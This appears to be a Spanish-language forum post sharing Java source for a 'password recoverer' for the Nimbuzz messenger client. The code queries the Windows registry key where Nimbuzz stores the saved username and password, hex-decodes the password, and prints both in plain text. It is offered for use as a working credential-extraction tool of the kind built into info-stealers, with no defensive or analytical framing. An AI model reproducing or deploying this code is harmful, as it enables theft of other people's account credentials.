Bueno continuando con los datos que nos da [Enlace externo eliminado para invitados], hice el Recuperador de contraseñas de Nimbuz

:P
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.regex.Pattern;

/**
 *
 * @author adwind
 */
public class Nimbuzz {
    public static String buscaClave(String server, String valor, String delimitador) {
        String tmp = "";
        try {
            Process p = Runtime.getRuntime().exec(new String[]{"reg", "query", server, "/v", valor});
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String t;
            while ((t = br.readLine()) != null) {
                if (t.isEmpty() || t.contains("HKEY")) {
                    continue;
                }
                String datos[] = t.split(delimitador);
                tmp = datos[1].trim();
            }
            p.destroy();
        } catch (IOException ex) {
            System.out.println("Error ejecutando el proceso!");
        }
        return tmp;
    }
    public static String HexToString(String t) {
        String tmp = "";
        for (int i = 0; i < t.length() - 1; i = i + 2) {
            int decimal = Integer.parseInt(t.charAt(i) + "" + t.charAt(i + 1), 16);
            tmp += (char) decimal;
        }
        return tmp;
    }
    
    public static String getPass(String t) {
        String resultado = t.substring(t.indexOf("(") + 1).replaceFirst(Pattern.quote(")"), "");
        if (!resultado.isEmpty()) {
            resultado = HexToString(resultado);
        }
        return resultado;
    }

    public static void main(String[] args) {
        String user = buscaClave("HKEY_CURRENT_USER\\Software\\Nimbuzz\\PCClient\\Application", "Username", "REG_SZ");
        String t = buscaClave("HKEY_CURRENT_USER\\Software\\Nimbuzz\\PCClient\\Application", "Password", "REG_SZ");
 
        System.out.println("Username: "+user);
        System.out.println("Password: "+getPass(t));

            




        }
}
Responder

Volver a “Fuentes”